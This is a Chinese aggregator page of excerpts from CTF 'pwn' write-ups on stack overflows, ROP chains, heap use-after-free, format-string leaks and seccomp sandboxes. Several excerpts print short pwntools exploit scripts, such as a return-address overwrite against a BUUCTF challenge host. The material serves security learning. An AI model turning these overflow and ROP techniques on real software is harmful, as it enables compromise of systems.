ICode9

精准搜索请尝试: 精确搜索
  • BugkuCTF pwn overflow22021-07-04 22:02:15

    ** 0、尝试打开文件,使用checksec检查保护情况 ** ** 1、使用IDA 64 Pro打开文件 ** read()函数存在栈溢出,查看栈结构 ** 2、构造rop链 ** Shitf+F12查找字符串 发现/bin/sh的地址是0x402004 system函数的地址是0x401050 64位程序的第一个参数在 rdi 寄存器里 使用ROPgadg

  • 【PWN】二进制文件篇2021-07-03 01:03:54

    源代码到可执行文件经过的步骤: (1)预处理(preprocess) -E 可单独执行预处理 (2)编译(compile) -S (3)汇编(assemble) -c (4)链接(link) 预处理:主要是处理源代码中以'#'开头的预处理指令,eg:'#include' 编译:读入以某种语言(源语言)编写的程序,输出目标语言编写的程序。

  • buuoj Pwn writeup 171-1752021-06-09 09:30:48

    171 wdb_2018_1st_babyheap add edit 只能编辑三次。 show free 简单的uaf。 我们可以通过unlink来泄露地址,劫持free_hook。 要注意的是它自己写的一个输入函数。 要么就回车截断,要么就输入32个。所以我们在写exp的时候如果是32字节,就不要加回车,如果不够32个字节,就一定要

  • 二进制学习2021-05-25 13:36:10

    序言 看到很多学习网络安全的小伙伴,他们很多人还在迷茫之中,今天听了学长的学习心得和分享。首先这个社会,讲别的不显示,你只需要记住,你学习态度端正一些,去思考,去琢磨遇见的问题,这就是我的学习方法,大学之前,真的需要刷题,猛刷,对成绩很有帮助的,大学之后,题目也很重要,但是最关键的是你对问

  • 津门杯pwn2021-05-13 23:58:58

    目录 hello 嘿嘿,单独发纪念一下,首次在国内比赛做出一道pwn题(23/59) hello #!/usr/bin/env python2 # coding=utf-8 from pwn import * arch = "amd64" filename = "hello" context(os="linux", arch=arch, log_level="debug") content = 0 offset =

  • pwn -- 沙盒机制详解2021-05-13 13:00:37

    沙盒机制详解 概述开启沙盒的两种方式prctl函数调用seccomp库函数 使用seccomp-tools识别沙盒两道例题pwnable_asm 参考博客总结 概述   沙盒机制也就是我们常说的沙箱,英文名sandbox,是计算机领域的虚拟技术,常见于安全方向。一般说来,我们会将不受信任的软件放在沙箱中运

  • 虎符2021线下赛pwn writeup2021-05-13 12:01:16

    jdt   一个图书管理系统,但并不是常规的堆题。edit和show函数可以越界。edit函数和show函数相互配合泄露libc基地址,将main函数的返回地址覆盖成onegadgets拿shell。 from pwn import * p = process('./pwn') elf = ELF('./pwn') libc = ELF('./libc.so.6') context(os='linux'

  • MIPS Pwn赛题学习2021-05-06 03:01:31

    MIPS Pwn writeup Mplogin 静态分析      mips pwn入门题。     mips pwn查找gadget使用IDA mipsrop这个插件,兼容IDA 6.x和IDA 7.x,在IDA 7.5中解决方案可以参考这个链接:https://bbs.pediy.com/thread-266102.htm     程序流程比较简单,输入用户名和密码进行登录操作。

  • CSTC 部分pwn wp2021-05-05 22:30:00

    1.bank 直接拖入ida分析,password是由fgets函数读取的,因此当生成的第一个随机数为0xa时,密码就会被截断,即为0xa。 可以发现flag被读入栈中,并且有格式化字符串漏洞,经调试后当输入%8$s时即可读出flag。 编写exp时,因需要爆破,所以当读到flag就用sleep()函数来使程序暂停,exp如下: f

  • pwn堆溢出各个bins的范围2021-04-18 18:04:55

    pwn堆溢出各个bins的范围,总是忘记,这里记录一下,以儆效尤!!!!!!   malloc_chunk的对齐属性 在glibc中,malloc_chunk以 2*sizeof(size_t)对齐,在32位系统中以8字节对齐,在64位系统中一般以16字节对齐。Malloc_chunk的定义如下:     既然malloc_chunk以2*sizeof(size_t)对齐,那么malloc返回

  • [BUUCTF-Pwn]刷题记录2021-04-10 03:01:10

    [BUUCTF-Pwn]刷题记录 力争从今天(2021.3.23)开始每日至少一道吧……在这里记录一些当时没做出来的/比较有意思的。 最近更新(2021.4.10) 如果我的解题步骤中有不正确的理解或不恰当的表述,希望各位师傅在评论区不吝赐教!非常感谢! [OGeek2019]babyrop /dev/random和/dev/urandom是u

  • 从零开始的pwn学习之ret2csu2021-04-09 23:32:20

    ret2csu 前置知识 X64寄存器 我们知道,64位寄存器有RAX,RBX,RCX,RDX,RDI,RSI,RBP,RSP,R8,R9,R10,R11,R12,R13,R14,R15,而rdi,rsi,rdx,rcx,r8,r9便用来传递函数的前六个参数,如多于六个,便在放到栈里。 __libc_csu_init 一般的程序都会调用libc中的函数,而此函数便是来将libc初始化的,故

  • [BUUCTF-Pwn]hitcontraining_uaf2021-04-05 18:33:57

    [BUUCTF-Pwn]hitcontraining_uaf 以此题作为对Pwn中堆利用的学习的开始。堆题初见,肯定有许多地方理解不恰当,希望师傅们能多多指教。 0x00.简述 成因 应用程序调用free()释放内存时,如果内存块小于256kb,dlmalloc并不马上将内存块释放回内存,而是将内存块标记为空闲状态。这么做的原因

  • BUUCTF(PWN)suctf_2018_stack2021-04-04 00:02:20

    from pwn import * p = remote('node3.buuoj.cn',29039) ret_addr = 0x0400677 payload = 'a' * (0x20 + 8) + p64(ret_addr) p.send(payload) p.interactive() 不是676的原因是 这道题检查的其实是栈平衡的问题,因为是Ubuntu18,需要栈对齐

  • 全网最硬核PWN入门_图解分析2021-04-03 09:57:21

    PWN 序Linux环境下的基础知识从C源码到可执行文件的生成过程程序的编译与链接什么是可执行文件可执行文件分类PE/ELF ELF文件格式区分节和段的存储区域加载ELF / 查看节和段区分布命令 段(segment)与节(section)程序数据在内存中的组织分布大端序与小端序存储关键寄存器静态

  • [BUUCTF]PWN--------jarvisoj_level42021-04-02 20:58:03

    jarvisoj_level4 例行检查,32位,开启NX保护 运行一下 用IDA打开。查看主函数 查看vulnerable_function()函数 buf存在溢出漏洞。 是一道ret2libc类型的题目。 利用第一次溢出泄露libc版本,从而获取system函数和"/bin/sh"的地址,并且返回重新执行主函数。 再利用第二次栈溢出

  • BUUCTF(pwn)jarvisoj_level3_x642021-04-01 20:29:35

    这道题是一道简单的rop类型的题目,跟之前做的题目有一些差异:( 这是64位的需要一些额外的操作 ) 64位汇编传参,当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。 当参数为7个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位

  • [BUUCTF-pwn]——jarvisoj_level12021-03-17 10:02:24

    [BUUCTF-pwn]——jarvisoj_level1 题目地址:https://buuoj.cn/challenges#jarvisoj_level1 第一种直接构造shellcode writeup 第二种泄露libc进行操作 from pwn import * from LibcSearcher import * p = remote("node3.buuoj.cn",26361) #p = process("./level1") elf = ELF(

  • [BUUCTF-pwn]——pwnable_orw   (ORW)2021-03-16 19:03:10

    [BUUCTF-pwn]——pwnable_orw 第一次碰到orw的问题,所谓orw就是指你的系统调用被禁止了,不能通过子进程去获得权限和flag,只能在该进程通过 open , read ,write来得到flag 这个时候可以通过seccomptools,来查看 注意看到prctl就是将系统调用给你禁止了 exploit from pwn import

  • [BUUCTF-pwn]——picoctf_2018_buffer overflow 12021-03-16 18:05:22

    [BUUCTF-pwn]——picoctf_2018_buffer overflow 1 简单的栈溢出, 返回地址,设置为win就好 exploit from pwn import * p = remote("node3.buuoj.cn",25059) payload = 'a' * (0x28 + 4) + p32(0x080485CB) p.sendline(payload) p.interactive()

  • pwn_向进程中植入代码(未成功2021-03-12 19:04:14

    实验代码: #include <stdio.h> #include <windows.h> #define PASSWORD "1234567" int verify_password (char *password) { int authenticated; char buffer[44]; authenticated=strcmp(password,PASSWORD); strcpy(buffer,password);//over flowed he

  • 攻防世界pwn新手题wp(通俗易懂)2021-03-10 23:59:08

    get_shell 这道题先看看附件,探查一下信息,再用ida打开,就可以发现伪代码其实很简单的: 然后在远程连接这个端口进行攻击了。 并且我们能看到它的大致防护信息,然后来个脚本: 此时就可以进行攻击了。 这样子flag就拿到了。 CGfsb 刚开始先在windows里进行一番静态调试: 大概的

  • [buuctf] pwn-ciscn_2019_n_82021-03-08 22:01:28

    ciscn_2019_n_8 先检查文件保护 Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled 32位程序,保护全开满,ida分析 var[13] = 0; var[14] = 0; init(); puts("What's your name?&qu

  • 攻防世界(pwn)--Mary_Morton 利用格式化字符串+栈溢出破解Canary的保护机制2021-03-04 22:01:18

    ctf(pwn) canary保护机制讲解 与 破解方法介绍 程序执行流程 有三个选项,1是利用栈溢出,2是利用格式化字符串,3是退出;可连续输入多次; IDA分析 解题思路 程序存在canary保护,利用格式化字符串漏洞 得到canary的位置, 在利用栈溢出覆盖它,返回地址改为目标函数 4008da EXP

  • 格式化字符串格式字符_pwn2021-03-04 14:02:39

    格式化字符串格式字符 格式含义%c输出字符,配上%n可用于向指定地址写数据。%d输出十进制整数,配上%n可用于向指定地址写数据。%x输出16进制数据,如%i x 表

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有